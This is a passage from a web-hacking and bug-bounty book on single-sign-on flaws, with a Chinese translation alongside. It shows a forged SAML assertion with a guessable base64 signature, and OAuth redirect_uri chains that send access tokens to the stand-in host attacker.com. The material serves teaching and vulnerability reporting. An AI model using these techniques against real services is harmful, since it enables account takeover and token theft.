- The Guide to Finding and Reporting Web Vulnerabilities
- About the Author
- About the Tech Reviewer
- Foreword
- Introduction
- Who This Book Is For
- What Is In This Book
- Happy Hacking!
- 1 Picking a Bug Bounty Program
- 2 Sustaining Your Success
- 3 How the Internet Works
- 4 Environmental Setup and Traffic Interception
- 5 Web Hacking Reconnaissance
- 6 Cross-Site Scripting
- 7 Open Redirects
- 8 Clickjacking
- 9 Cross-Site Request Forgery
- 10 Insecure Direct Object References
- 11 SQL Injection
- 12 Race Conditions
- 13 Server-Side Request Forgery
- 14 Insecure Deserialization
- 15 XML External Entity
- 16 Template Injection
- 17 Application Logic Errors and Broken Access Control
- 18 Remote Code Execution
- 19 Same-Origin Policy Vulnerabilities
- 20 Single-Sign-On Security Issues
- 21 Information Disclosure
- 22 Conducting Code Reviews
- 23 Hacking Android Apps
- 24 API Hacking
- 25 Automatic Vulnerability Discovery Using Fuzzers
Note
All the SAML messages in this chapter are highly simplified for the sake of readability. Realistic SAML messages will be longer and contain a lot more information.
本章中的所有 SAML 消息都经过了高度简化以便于阅读。真实的 SAML 消息将会更长,并包含更多的信息。
SAML Vulnerabilities
As you can see in Figure 20-1 , the key to accessing resources held by the service provider is in the SAML response. An attacker who can control the SAML response passed to the service provider can authenticate as someone else. Therefore, applications need to protect the integrity of their SAML messages, which they usually accomplish by using a signature to sign the message.
如图 20-1 所示,访问服务提供商所持有的资源的关键在于 SAML 响应中。能够控制传递给服务提供商的 SAML 响应的攻击者可以冒充他人进行身份验证。因此,应用程序需要保护其 SAML 消息的完整性,通常通过使用签名对消息进行签名来实现。
SAML can be secure if the SAML signature is implemented correctly. However, its security breaks apart if attackers can find a way to bypass the signature validation and forge the identity assertion to assume the identity of others. For example, if the attacker can change the embedded username in a SAML assertion, they can log in as another user.
如果 SAML 签名被正确实施,SAML 可以很安全。然而,如果攻击者能够找到绕过签名验证并伪造身份声明以假扮他人身份的方法,它的安全性就会瓦解。例如,如果攻击者能够更改 SAML 声明中嵌入的用户名,则他们可以以另一个用户身份登录。
The digital signature that most applications apply to SAML messages ensures that no one can tamper with them. If a SAML message has the wrong signature, it won’t be accepted:
大多数应用程序应用于 SAML 消息的数字签名确保任何人都不能篡改它们。如果 SAML 消息具有错误的签名,则不会被接受。
<saml:Signature>
<saml:SignatureValue>
dXNlcjE=
</saml:SignatureValue>
</saml:Signature>
<saml:AttributeStatement>
<saml:Attribute Name="username">
<saml:AttributeValue>
user1
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
Unfortunately, SAML security mechanisms aren’t always well implemented. Sometimes the SAML signature isn’t implemented or verified at all! If this is the case, attackers can forge the identity information in the SAML response at will. Other times, developers make the mistake of verifying signatures only if they exist. Attackers can then empty the signature field or remove the field completely to bypass the security measure.
遗憾的是,SAML 安全机制并不总是很好地实施。有时并没有实现或验证 SAML 签名!如果是这种情况,攻击者可以随意伪造 SAML 响应中的身份信息。其他时候,开发人员的错误是仅在存在时验证签名。攻击者可以随后清空签名字段或完全移除该字段以绕过安全措施。
Lastly, if the signing mechanism used to generate the signature is weak or predictable, attackers can forge signatures. If you take a closer look at the previous signed SAML message, you’ll notice that the signature, dXNlcjE=
, is just the base64 encoding of user1
. We can deduce that the signature mechanism used is base64(
username )
. To forge a valid identity assertion for victim_user
, we can change the signature field to base64("
victim_user")
, which is dmljdGltX3VzZXI=
, and obtain a valid session as victim_user
:
最后,如果用于生成签名的签名机制是脆弱或可预测的,则攻击者可以伪造签名。如果你仔细查看前面签署的 SAML 消息,你会发现签名“dXNlcjE= ”只是用户 1 的 Base64 编码。我们可以推断出所使用的签名机制是 Base64(用户名)。为了伪造 victim_user 的有效身份声明,我们可以将签名字段更改为 Base64(“victim_user”),即 dmljdGltX3VzZXI=,并作为 victim_user 获得有效会话:
<saml:Signature>
<saml:SignatureValue>
dmljdGltX3VzZXI=
</saml:SignatureValue>
</saml:Signature>
<saml:AttributeStatement>
<saml:Attribute Name="username">
<saml:AttributeValue>
victim_user
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
Another common mistake developers make is trusting that encryption alone will provide adequate security for the SAML messages. Encryption protects a message’s confidentiality, not its integrity. If a SAML response is encrypted but not signed, or signed with a weak signature, attackers can attempt to tamper with the encrypted message to mess with the outcome of the identity assertion.
开发者常犯的另一个错误是相信仅依靠加密即可为 SAML 消息提供足够的安全保障。加密可以保护消息的保密性,但不能保护其完整性。如果 SAML 响应被加密但未签名,或者签名过于薄弱,攻击者可以试图篡改加密的消息以干扰身份断言的结果。
There are many interesting ways of tampering with encrypted messages without having to break the encryption. The details of such techniques are beyond the scope of this book, but I encourage you to look them up on the internet. To learn more about encryption attacks, visit Wikipedia at https://en.wikipedia.org/wiki/Encryption#Attacks_and_countermeasures .
有许多有趣的方法可以篡改加密消息,而不必破解加密。这些技术的细节超出了本书的范围,但我鼓励您在互联网上查找相关信息。如想了解更多关于加密攻击的信息,请访问维基百科:https://zh.wikipedia.org/wiki/%E5%8A%A0%E5%AF%86#%E5%AF%B9%E5%86%B2%E5%92%8C%E5%AF%B9%E6%8A%97%E5%8A%9B%E6%8E%AA%E6%96%BD。
SAML messages are also a common source of sensitive data leaks. If a SAML message contains sensitive user information, like passwords, and isn’t encrypted, an attacker who intercepts the victim’s traffic might be able to steal those pieces of information.
SAML 消息也是敏感数据泄漏的常见来源。如果 SAML 消息包含敏感的用户信息,比如密码,并且没有加密,攻击者截获受害者的流量就有可能窃取这些信息。
Finally, attackers can use SAML as a vector for smuggling malicious input onto the site. For example, if a field in a SAML message is passed into a database, attackers might be able to pollute that field to achieve SQL injection. Depending on how the SAML message is used server-side, attackers might also be able to perform XSS, XXE, and a whole host of other nasty web attacks.
最终,攻击者可以使用 SAML 作为将恶意输入走私到站点上的向量。例如,如果将 SAML 消息中的字段传递到数据库中,攻击者可能能够污染该字段以实现 SQL 注入。根据 SAML 消息在服务器端的使用方式,攻击者还可以执行 XSS、XXE 和其他许多恶意网络攻击。
These SAML vulnerabilities all stem from a failure to protect SAML messages by using signatures and encryption. Applications should use strong encryption and signature algorithms and protect their secret keys from theft. Additionally, sensitive user information such as passwords shouldn’t be transported in unencrypted SAML messages. Finally, as with all user input, SAML messages should be sanitized and checked for malicious user input before being used.
这些 SAML 漏洞来自于未通过签名和加密保护 SAML 消息。应用程序应该使用强加密和签名算法,并保护其密钥不被盗取。此外,敏感用户信息(如密码)不应以未加密的 SAML 消息形式传输。最后,与所有用户输入一样,SAML 消息应被清理并检查是否存在恶意用户输入,然后再使用。
OAuth
The final way of implementing SSO that we’ll discuss is OAuth. OAuth is essentially a way for users to grant scope-specific access tokens to service providers through an identity provider. The identity provider manages credentials and user information in a single place, and allows users to log in by supplying service providers with information about the user’s identity.
我们即将讨论的最终单点登录实现方式是 OAuth。OAuth 本质上是一种用户通过身份提供者为服务提供商提供特定范围访问令牌的方式。身份提供者在单一位置管理凭证和用户信息,并允许用户通过提供有关用户身份的信息向服务提供商登录。
How OAuth Works
When you log in to an application using OAuth, the service provider requests access to your information from the identity provider. These resources might include your email address, contacts, birthdate, and anything else it needs to determine who you are. These permissions and pieces of data are called the scope . The identity provider will then create a unique access_token
that the service provider can use to obtain the resources defined by the scope.
当您使用 OAuth 登录应用程序时,服务提供商会向身份提供者请求访问您的信息。这些资源可能包括您的电子邮件地址、联系人、出生日期等任何需要确定您身份的信息。这些权限和数据被称为范围。身份提供者将创建一个唯一的访问令牌,服务提供商可以使用该令牌来获取范围定义的资源。
Let’s break things down further. When you log in to the service provider via OAuth, the first request that the service provider will send to the identity provider is the request for an authorization
. This request will include the service provider’s client_id
used to identify the service provider, a redirect_uri
used to redirect the authentication flow, a scope
listing the requested permissions, and a state
parameter, which is essentially a CSRF token:
让我们进一步拆解。当您通过 OAuth 登录服务提供商时,服务提供商发送给身份提供商的第一个请求是授权请求。此请求将包括用于标识服务提供商的 client_id,用于重定向身份验证流程的 redirect_uri,列出所请求权限的 scope 和状态参数,这是一个 CSRF 令牌:
identity.com/oauth?
client_id=CLIENT_ID
&response_type=code
&state=STATE
&redirect_uri=https://example.com/callback
&scope=email
Then, the identity provider will ask the user to grant access to the service provider, typically via a pop-up window. Figure 20-2 shows the pop-up window that Facebook uses to ask for your consent to send information to spotify.com if you choose to log in to Spotify via Facebook.
然后,身份提供者将要求用户通过弹出窗口向服务提供者授权访问。图 20-2 显示了 Facebook 在您选择通过 Facebook 登录到 Spotify 时要求您同意向 spotify.com 发送信息的弹出窗口。
After the user agrees to the permissions the service provider asks for, the identity provider will send the redirect_uri
an authorization code:
用户同意要求的权限后,身份提供者将向 redirect_uri 发送授权码。
https://example.com/callback?authorization_code=abc123&state=STATE
The service provider can then obtain an access_token
from the identity provider by using the authorization code, along with their client ID and secret. Client IDs and client secrets authenticate the service provider to the identity provider:
服务提供商可以使用授权代码以及其客户端 ID 和密钥从身份提供者获得访问令牌。客户端 ID 和客户端密钥将服务提供商身份验证到身份提供者:
identity.com/oauth/token?
client_id=CLIENT_ID
&client_secret=CLIENT_SECRET
&redirect_uri=https://example.com/callback
&code=abc123
The identity provider will send back the access_token
, which can be used to access the user’s information:
身份提供者会发送回访问令牌,该令牌可用于访问用户信息:
https://example.com/callback?#access_token=xyz123
A service provider might, for instance, initiate a request to the identity provider for an access token to access the user’s email. Then it could use the email retrieved from the identity provider as proof of the user’s identity to log the user in to the account registered with the same email address.
例如,服务提供者可能会向身份提供者发起请求,以获取访问令牌来访问用户的电子邮件。然后,它可以使用从身份提供者检索到的电子邮件作为用户身份的证明,将用户登录到使用相同电子邮件地址注册的帐户中。
OAuth Vulnerabilities
Sometimes attackers can bypass OAuth authentication by stealing critical OAuth tokens through open redirects. Attackers do this by manipulating the redirect_uri
parameter to steal the access_token
from the victim’s account.
攻击者有时可以通过开放式重定向窃取关键的 OAuth 令牌来绕过 OAuth 身份验证。攻击者通过操纵 redirect_uri 参数来窃取受害者账户中的 access_token 来实现这一点。
The redirect_uri
determines where the identity provider sends critical pieces of information like the access_token
. Most major identity providers, therefore, require service providers to specify an allowlist of URLs to use as the redirect_uri
. If the redirect_uri
provided in a request isn’t on the allowlist, the identity provider will reject the request. The following request, for example, will be rejected if only example.com subdomains are allowed:
重定向 URI 确定身份提供者发送访问令牌等关键信息的位置。因此,大多数主要的身份提供者要求服务提供者指定允许使用作为重定向 URI 的 URL 的白名单。如果请求中提供的重定向 URI 不在白名单上,身份提供者将拒绝该请求。例如,如果仅允许 example.com 子域,则将拒绝以下请求:
client_id=CLIENT_ID
&response_type=code
&state=STATE
&redirect_uri=https://attacker.com
&scope=email
But what if an open redirect vulnerability exists within one of the allowlisted redirect_uri
URLs? Often, access_token
s are communicated via a URL fragment, which survives all cross-domain redirects. If an attacker can make the OAuth flow redirect to the attacker’s domain in the end, they can steal the access_token
from the URL fragment and gain access to the user’s account.
但是,如果其中一个明确允许的 redirect_uri URL 中存在开放重定向漏洞怎么办?通常,access_token 通过 URL fragment 进行传递,它可以在所有跨域重定向中生存。如果攻击者最终可以让 OAuth 流程重定向到攻击者的域,他们可以从 URL fragment 中窃取 access_token 并获取用户账户的访问权限。
One way of redirecting the OAuth flow is through a URL-parameter-based open redirect. For example, using the following URL as the redirect_uri
通过基于 URL 参数的开放式重定向是重定向 OAuth 流程的一种方法。例如,使用以下 URL 作为 redirect_uri。
redirect_uri=https://example.com/callback?next=attacker.com
will cause the flow to redirect to the callback URL first
将会导致流向首先重定向到回调 URL。
https://example.com/callback?next=attacker.com#access_token=xyz123
and then to the attacker’s domain:
然后进入攻击者的域。
https://attacker.com#access_token=xyz123
The attacker can send the victim a crafted URL that will initiate the OAuth flow, and then run a listener on their server to harvest the leaked tokens:
攻击者可以向受害者发送一个精心构造的 URL 来启动 OAuth 流程,然后在他们的服务器上运行监听器以收集泄漏的令牌:
identity.com/oauth?
client_id=CLIENT_ID
&response_type=code
&state=STATE
&redirect_uri=https://example.com/callback?next=attacker.com
&scope=email
Another way of redirecting the OAuth flow is through a referer-based open redirect. In this case, the attacker would have to set up the referer header by initiating the OAuth flow from their domain:
另一种重定向 OAuth 流程的方式是基于引荐者的开放式重定向。在这种情况下,攻击者必须通过从其域中启动 OAuth 流程来设置引荐者标头:
<a href="https://example.com/login_via_facebook">Click here to log in to example.com</a>
This will cause the flow to redirect to the callback URL first:
这将导致流程首先重定向到回调 URL:
https://example.com/callback?#access_token=xyz123
Then it would redirect to the attacker’s domain via the referer:
那么它将通过引用者重定向到攻击者的域名:
https://attacker.com#access_token=xyz123
Even when attackers can’t find an open redirect on the OAuth endpoint itself, they can still smuggle the tokens offsite if they can find an open redirect chain . For example, let’s say the redirect_uri
parameter permits only further redirects to URLs that are under the example.com domain. If attackers can find an open redirect within that domain, they can still steal OAuth tokens via redirects. Let’s say an unfixed open redirect is on the logout endpoint of example.com :
即使攻击者无法在 OAuth 端点本身上找到一个开放的重定向,如果他们可以找到一个开放的重定向链,他们仍然可以将令牌带离现场。例如,假设 redirect_uri 参数仅允许进一步重定向到 example.com 域下的 URL。如果攻击者可以在该域内找到一个开放的重定向,他们仍然可以通过重定向窃取 OAuth 令牌。例如,假设在 example.com 的注销端点上存在一个未修复的开放式重定向:
https://example.com/logout?next=attacker.com
By taking advantage of this open redirect, the attacker can form a chain of redirects to eventually smuggle the token offsite, starting with the following:
通过利用这种开放式重定向,攻击者可以形成一系列重定向链,最终将令牌带到外部网站,从以下开始:
redirect_uri=https://example.com/callback?next=example.com/logout?next=attacker.com
This redirect_uri
will first cause the flow to redirect to the callback URL:
这个 redirect_uri 将先使流程重定向到回调 URL:
https://example.com/callback?next=example.com/logout?next=attacker.com#access_token=xyz123
Then to the logout URL vulnerable to open redirect:
然后到注销 URL 容易受到开放重定向攻击:
https://example.com/logout?next=attacker.com#access_token=xyz123
Then it will redirect to the attacker’s domain. The attacker can harvest the access token via their server logs, and access the user’s resources via the stolen token:
然后它将重定向到攻击者的域名。攻击者可以通过服务器日志收集访问令牌,并通过窃取的令牌访问用户资源。
https://attacker.com#access_token=xyz123
Besides stealing access tokens via an open redirect, long-lived tokens that don’t expire are also a major OAuth vulnerability. Sometimes tokens aren’t invalidated periodically and can be used by attackers long after they are stolen, and remain valid even after password reset. You can test for these issues by using the same access tokens after logout and after password reset.
除了通过开放重定向窃取访问令牌外,长期不过期的令牌也是 OAuth 的一个重大漏洞。有时候令牌不会定期失效,攻击者可以在盗窃后长期使用它们,即使密码重置后仍然有效。您可以通过在注销和密码重置后使用相同的访问令牌来测试这些问题。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论